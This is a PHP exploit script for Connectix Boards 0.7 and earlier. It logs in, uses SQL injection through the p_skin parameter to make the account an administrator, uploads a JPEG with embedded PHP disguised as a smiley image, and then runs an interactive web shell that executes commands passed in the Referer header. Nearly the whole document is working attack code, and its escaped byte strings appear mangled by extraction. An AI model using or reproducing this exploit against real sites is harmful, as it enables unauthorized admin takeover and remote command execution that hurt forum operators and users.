#!/usr/bin/php
<?php
/**
* This file require the PhpSploit class.
* If you want to use this class, the latest
* version can be downloaded from acid-root.new.fr.
**/
require("phpsploitclass.php");
error_reporting(E_ALL ^ E_NOTICE);
if($argc < 9) {
print("
Connectix Boards <= 0.7 (p_skin) Multiple Vulnerabilities Exploit
-------------------------------------------------------------------
PHP conditions: none
Credits: DarkFig <gmdarkfig (at) gmail (dot) com [email concealed]>
URL: http://www.acid-root.new.fr/
-------------------------------------------------------------------
Usage: $argv[0] -url <> -usr <> -pwd <> -type <> [Options]
Params: -url For example http://victim.com/connectix/
-usr The username of your account
-pwd The password of your account
-type Privilege Escalation(1) or Code execution(2)
Options: -proxy If you wanna use a proxy <proxyhost:proxyport>
-proxyauth Basic authentification <proxyuser:proxypwd>
-------------------------------------------------------------------
"); exit(1);
}
$url = getparam('url',1);
$user = getparam('usr',1);
$pass = getparam('pwd',1);
$type = getparam('type',1);
$proxy = getparam('proxy');
$authp = getparam('proxyauth');
$theme = 'Zephyr';
$xpl = new phpsploit();
$xpl->agent("Mozilla Firefox");
$xpl->allowredirection(1);
$xpl->cookiejar(1);
if($proxy) $xpl->proxy($proxy);
if($authp) $xpl->proxyauth($authp);
print "nTrying to get logged in";
$xpl->post($url.'index.php?act=login',"username=$user&password=$pass&rem
ember=on&confirm=Connexion+%21");
if(preg_match("#password#",$xpl->showcookie())) print "nLogged in";
else exit("nExploit failed");
sploit(", usr_class=1");
if($type==1) exit("nDone, $user is now admin.");
# Fake JPG (with php code) generated with edjpgcom.exe
#
# <?php $handle=fopen('mdrpipicacalolxdwtf.gif.php','w+');
# fwrite($handle,'<?php @system($_SERVER[HTTP_REFERER]); ?/>');
# fclose($handle); unlink($_SERVER[PHP_SELF]); ?/>
#
$f = "xFFxD8xFFxE0x00x10x4Ax46x49x46x00x01x01x01x00x60x00x6
0x00x00xFF"
."xDBx00x43x00x08x06x06x07x06x05x08x07x07x07x09x09x08x
0Ax0Cx14"
."x0Dx0Cx0Bx0Bx0Cx19x12x13x0Fx14x1Dx1Ax1Fx1Ex1Dx1Ax1Cx
1Cx20x24"
."x2Ex27x20x22x2Cx23x1Cx1Cx28x37x29x2Cx30x31x34x34x34x
1Fx27x39"
."x3Dx38x32x3Cx2Ex33x34x32xFFxDBx00x43x01x09x09x09x0Cx
0Bx0Cx18"
."x0Dx0Dx18x32x21x1Cx21x32x32x32x32x32x32x32x32x32x32x
32x32x32"
."x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x
32x32x32"
."x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x32x
FFxFEx00"
."xA5x3Cx3Fx70x68x70x20x24x68x61x6Ex64x6Cx65x3Dx66x6Fx
70x65x6E"
."x28x27x6Dx64x72x70x69x70x69x63x61x63x61x6Cx6Fx6Cx78x
64x77x74"
."x66x2Ex67x69x66x2Ex70x68x70x27x2Cx27x77x2Bx27x29x3Bx
66x77x72"
."x69x74x65x28x24x68x61x6Ex64x6Cx65x2Cx27x3Cx3Fx70x68x
70x20x40"
."x73x79x73x74x65x6Dx28x24x5Fx53x45x52x56x45x52x5Bx48x
54x54x50"
."x5Fx52x45x46x45x52x45x52x5Dx29x3Bx20x3Fx3Ex27x29x3Bx
66x63x6C"
."x6Fx73x65x28x24x68x61x6Ex64x6Cx65x29x3Bx20x75x6Ex6Cx
69x6Ex6B"
."x28x24x5Fx53x45x52x56x45x52x5Bx50x48x50x5Fx53x45x4Cx
46x5Dx29"
."x3Bx20x3Fx3ExFFxC0x00x11x08x00x01x00x01x03x01x22x00x
02x11x01"
."x03x11x01xFFxC4x00x1Fx00x00x01x05x01x01x01x01x01x01x
00x00x00"
."x00x00x00x00x00x01x02x03x04x05x06x07x08x09x0Ax0BxFFx
C4x00xB5"
."x10x00x02x01x03x03x02x04x03x05x05x04x04x00x00x01x7Dx
01x02x03"
."x00x04x11x05x12x21x31x41x06x13x51x61x07x22x71x14x32x
81x91xA1"
."x08x23x42xB1xC1x15x52xD1xF0x24x33x62x72x82x09x0Ax16x
17x18x19"
."x1Ax25x26x27x28x29x2Ax34x35x36x37x38x39x3Ax43x44x45x
46x47x48"
."x49x4Ax53x54x55x56x57x58x59x5Ax63x64x65x66x67x68x69x
6Ax73x74"
."x75x76x77x78x79x7Ax83x84x85x86x87x88x89x8Ax92x93x94x
95x96x97"
."x98x99x9AxA2xA3xA4xA5xA6xA7xA8xA9xAAxB2xB3xB4xB5xB6x
B7xB8xB9"
."xBAxC2xC3xC4xC5xC6xC7xC8xC9xCAxD2xD3xD4xD5xD6xD7xD8x
D9xDAxE1"
."xE2xE3xE4xE5xE6xE7xE8xE9xEAxF1xF2xF3xF4xF5xF6xF7xF8x
F9xFAxFF"
."xC4x00x1Fx01x00x03x01x01x01x01x01x01x01x01x01x00x00x
00x00x00"
."x00x01x02x03x04x05x06x07x08x09x0Ax0BxFFxC4x00xB5x11x
00x02x01"
."x02x04x04x03x04x07x05x04x04x00x01x02x77x00x01x02x03x
11x04x05"
."x21x31x06x12x41x51x07x61x71x13x22x32x81x08x14x42x91x
A1xB1xC1"
."x09x23x33x52xF0x15x62x72xD1x0Ax16x24x34xE1x25xF1x17x
18x19x1A"
."x26x27x28x29x2Ax35x36x37x38x39x3Ax43x44x45x46x47x48x
49x4Ax53"
."x54x55x56x57x58x59x5Ax63x64x65x66x67x68x69x6Ax73x74x
75x76x77"
."x78x79x7Ax82x83x84x85x86x87x88x89x8Ax92x93x94x95x96x
97x98x99"
."x9AxA2xA3xA4xA5xA6xA7xA8xA9xAAxB2xB3xB4xB5xB6xB7xB8x
B9xBAxC2"
."xC3xC4xC5xC6xC7xC8xC9xCAxD2xD3xD4xD5xD6xD7xD8xD9xDAx
E2xE3xE4"
."xE5xE6xE7xE8xE9xEAxF2xF3xF4xF5xF6xF7xF8xF9xFAxFFxDAx
00x0Cx03"
."x01x00x02x11x03x11x00x3Fx00xF7xFAx28xA2x80x3FxFFxD9";
# +admin.bbcode.php
# |
# 95. if(isset($_POST['wherefile'])) {
# 96. if ($_POST['wherefile']=='upload') {
# 97. if (!empty($_FILES['uploadimage']['size'])){
# 98. if ($image=getimagesize(trim($_FILES['uploadimage']['tmp_name']))) {
# 99. $val = array(IMAGETYPE_GIF,IMAGETYPE_JPEG,IMAGETYPE_PNG);
# 100. if ($_FILES['uploadimage']['size'] <= 20480 && in_array($image[2],$val)) {
# 101. $filename = $smile->smiley_librariesdir.$_POST['sm_filenameserver'];
# 102. $filename = str_replace('../','',trim($filename));
# 103. //si le filenameserver contient un dossier : on cre ce dossier:
# 104. mkdirs($smile->smiley_dir.dirname($filename));
# 105. if (move_uploaded_file($_FILES['uploadimage']['tmp_name'], $smile->smiley_dir.$_POST['sm_filenameserver'])) {
# 106. $do=true;
# 107. }
#
$arr = array(frmdt_url => $url.'admin.php?act=bbŠ‚=4',
"sm_name" => ":AbCdEfGhIj1234dsupersmilepowaa:",
"sm_filenamesubdir" => "libraries/",
"sm_filenameserver" => "xd.gif.php",
"wherefile" => "upload",
"sm_send" => "Confirmer",
"uploadimage" => array(frmdt_type => "image/gif",
frmdt_filename => "xd.gif.php",
frmdt_content => $f));
$xpl->formdata($arr);
$xpl->get($url."smileys/xd.gif.php");
print "n$shell> ";
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
$xpl->addheader("Referer",$cmd);
$xpl->get($url."smileys/mdrpipicacalolxdwtf.gif.php");
print $xpl->getcontent()."n$shell> ";
}
function sploit($sql)
{
global $url,$xpl,$theme,$user;
$pdat = "changeparams=1"
."&p_usrs=20"
."&p_topics=20"
."&p_msgs=15"
."&p_res=12"
."&p_skin=$theme"
."%00',usr_pref_skin='$theme',usr_signature=(SELECT '[XPL_IS_OK]')$sql WHERE usr_name='$user' #"
."&p_lang=fr"
."&p_timezone=1";
# +common.php
# |
# 95. function cleanArray(&$arr) {
# 96. if (!empty($arr) && is_array($arr)) {
# 97. foreach($arr as $k => $v) {
# 98. if (is_array($v)) cleanArray($arr[$k]);
# 99. else $arr[$k] = stripslashes($v);
# 100. }
# 101. }
# 102. }
# |
# 105. if (get_magic_quotes_gpc()) {
# 106. cleanArray($_POST);
# 107. cleanArray($_COOKIE);
# 108. cleanArray($_GET);
# 109. }
#
# +part.userprofile.php
# |
# 305. /* Changement des paramètres d'affichage (pas accessible par les modos ou admins) */
# 306. } elseif (isset($_POST['changeparams']) && $edit_id==$_SESSION['userid']) {
# 307. if ( isset($_POST['p_usrs'],$_POST['p_topics'],$_POST['p_msgs'],$_POST['p_res
'],$_POST['p_skin'],$_POST['p_lang'],$_POST['p_timezone']) ) {
# 308. if (is_numeric($_POST['p_usrs']) && is_numeric($_POST['p_topics']) && is_numeric($_POST['p_msgs']) && is_numeric($_POST['p_res']) && isLang($_POST['p_lang']) && isSkin($_POST['p_skin'])) {
# 309. if ((int)$_POST['p_usrs']>=5 && (int)$_POST['p_usrs']<=50 && (int)$_POST['p_topics']>=5 && (int)$_POST['p_topics']<=50 && (int)$_POST['p_msgs']>=5 && (int)$_POST['p_msgs']<=50 && (int)$_POST['p_res']>=5 && (int)$_POST['p_res']<=50 && in_array($_POST['p_timezone'],array_keys($timezones))) {
# 310. $GLOBALS['cb_db']->query("UPDATE ".$GLOBALS['cb_db']->prefix."users SET usr_pref_msgs='".(int)$_POST['p_msgs']."',usr_pref_usrs='".(int)$_POST['
p_usrs']."',usr_pref_topics='".(int)$_POST['p_topics']."',usr_pref_res='
".(int)$_POST['p_res']."',usr_pref_lang='".$_POST['p_lang']."',usr_pref_
skin='".$_POST['p_skin']."',usr_pref_timezone='".$_POST['p_timezone']."'
,usr_pref_ctsummer=".((int)(isset($_POST['p_ctsummer']) && $_POST['p_ctsummer']=='on'))." WHERE usr_id=".$_SESSION['cb_user']->userid);
# 311. $_SESSION['cb_user']->reloadnext=true;
# 312. redirect(manage_url('index.php?act=user&editprofile='.$_SESSION['userid'
].'&page=6','forum-profile'.$_SESSION['userid'].'-params.html'));
#
# +lib.cb.php
# |
# 117. function isLang ($langtype) {
# 118. return is_dir(CB_PATH.'lang/'.$langtype);
# 119. }
# |
# 133. function isSkin ($skintype) {
# 134. return is_dir(CB_PATH.'skins/'.$skintype);
# 135. }
$xpl->post($url."index.php?act=user&editprofile=-1&page=6",$pdat);
$xpl->get($url."index.php?act=user&editprofile=-1&page=5");
if(preg_match('#[XPL_IS_OK]#',$xpl->getcontent())) return;
else exit("Exploit failed");
}
function getparam($param,$opt='')
{
global $argv;
foreach($argv as $value => $key)
{
if($key == '-'.$param) return $argv[$value+1];
}
if($opt) exit("n-$param parameter required");
else return;
}
?>
